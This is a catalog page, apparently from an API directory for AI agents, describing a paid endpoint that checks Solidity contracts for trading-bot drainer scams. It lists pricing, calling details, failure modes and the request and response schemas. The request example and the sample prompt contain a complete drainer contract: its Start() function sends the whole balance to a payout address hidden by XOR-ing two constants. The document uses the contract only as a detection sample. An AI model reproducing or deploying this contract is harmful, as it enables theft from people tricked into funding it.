# ManyLives Bot Scam Check

> ManyLives Bot Scam Check is a paid API for AI agents from api.manylives.me, paid per call via x402, $0.003/call, status unknown (last checked 2026-10-20).

Analyzes a Solidity smart contract source file to detect known crypto trading-bot drainer scam patterns and returns a verdict with detailed findings.

## Facts

- Endpoint: POST https://api.manylives.me/paid/contract/bot-scam-check?utm_source=zero.xyz
- Price: $0.003/call
- Payment: x402
- Status: unknown
- Last checked: 2026-10-20
- Activations on Zero: 0
- Tags: x402
- Canonical page: https://www.zero.xyz/c/manylives-bot-scam-check-3f04e5d0
- Structured record (JSON): https://api.zero.xyz/v1/capabilities/cap_YCqklGkiS7OhU7I7_7e7Z

Status and success rate cover calls made through Zero and Zero's own probes. Third-party monitors may report differently.

## How to call it through Zero

Zero handles the 402 payment challenge and records the run. With the Zero CLI installed (`npm i -g @zeroxyz/cli`):

```sh
zero fetch --capability manylives-bot-scam-check-3f04e5d0 -d '<json body>'
```

Example prompt: Someone sent me this Solidity contract for an MEV trading bot and asked me to deposit 0.5 ETH — can you check if it's a scam? Here's the source: `pragma solidity ^0.8.0; contract Bot { bytes32 apiKey = 0x8f3a...; function Start() public payable { payable(router(apiKey, apiSignature)).transfer(address(this).balance); } }`

## When to prefer this

Choose this endpoint when you need fast, structured scam detection specifically for Solidity smart contracts — particularly trading-bot drainer patterns that use obfuscated payout addresses (e.g. XOR of constants). It is purpose-built for the 'bot drainer' scam class common on Telegram and YouTube, returns machine-readable findings with severity and evidence, and costs only $0.003 per call with no account required. Prefer it over general-purpose LLM code review when you need a deterministic verdict and structured findings you can act on programmatically.

## Known failure modes

- Missing or empty 'source' field returns a validation error
- Non-Solidity or unparseable input may yield no findings or an inconclusive verdict
- Novel scam patterns not in the known-pattern library may be missed (false negative)
- Very large contracts may time out or incur higher latency
- Payment failure via x402 protocol returns 402 before analysis is performed

## How this service works

Pay-per-call tools for people building AI agents: live web search and page contents, point-in-time crypto market data and news for backtests (no lookahead), verifiable track records of 1,000 crypto strategies locked on the Base network, company profiles, quick AI and batch prices. Ask us to turn a public website into a JSON endpoint. Pay per call, no account, free trial.

## Output

A JSON object containing a 'verdict' string summarizing whether the contract matches a known scam pattern, a 'matches_known_scam' boolean, and a 'findings' array where each item describes a detected pattern with fields: 'pattern' (name of the suspicious code pattern), 'evidence' (exact code snippet), 'why' (plain-language explanation), 'lines' (line numbers), and 'severity' (e.g. 'high').

## Request schema (JSON Schema)

```json
{
 "type": "object",
 "properties": {
  "source": {
   "type": "string",
   "examples": [
    "pragma solidity ^0.8.0;\n// MEV front-running bot. Minimum deposit 0.5 ETH.\ncontract Bot {\n  bytes32 apiKey = 0x8f3a5c0e9b7d2a14e6c3f5a8b0d9e2c4f7a1b3d5e8c0f2a4b6d8e0c2f4a6b8d0;\n  bytes32 apiSignature = 0x8f3a5c0e9b7d2a14e6c3f5a8a1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0;\n  function router(bytes32 a, bytes32 b) internal pure returns (address) { return address(uint160(uint256(a) ^ uint256(b))); }\n  function Start() public payable { payable(router(apiKey, apiSignature)).transfer(address(this).balance); }\n  receive() external payable {}\n}"
   ],
   "description": "the whole Solidity source file you were given"
  }
 }
}
```

## Response schema (JSON Schema)

```json
{
 "type": "json",
 "example": {
  "verdict": "matches the known trading-bot drainer pattern: do not fund this contract",
  "findings": [
   {
    "why": "two 32-byte constants are XOR-ed to produce the wallet that receives the funds",
    "lines": [
     8
    ],
    "pattern": "payout address computed by XOR of constants",
    "evidence": "address(uint160(uint256(a) ^ uint256(b)))",
    "severity": "high"
   },
   {
    "why": "Start() sends everything the contract holds to the hidden wallet",
    "lines": [
     9,
     10
    ],
    "pattern": "sends the whole balance to an address other than the caller",
    "evidence": "payable(r).transfer(address(this).balance)",
    "severity": "high"
   }
  ],
  "matches_known_scam": true
 }
}
```

## More

- Live health (JSON, refreshed every minute): https://www.zero.xyz/c/manylives-bot-scam-check-3f04e5d0/health.json
- [Zero catalog index](https://www.zero.xyz/llms.txt)
- [Other services from api.manylives.me](https://www.zero.xyz/host/api.manylives.me/llms.txt)
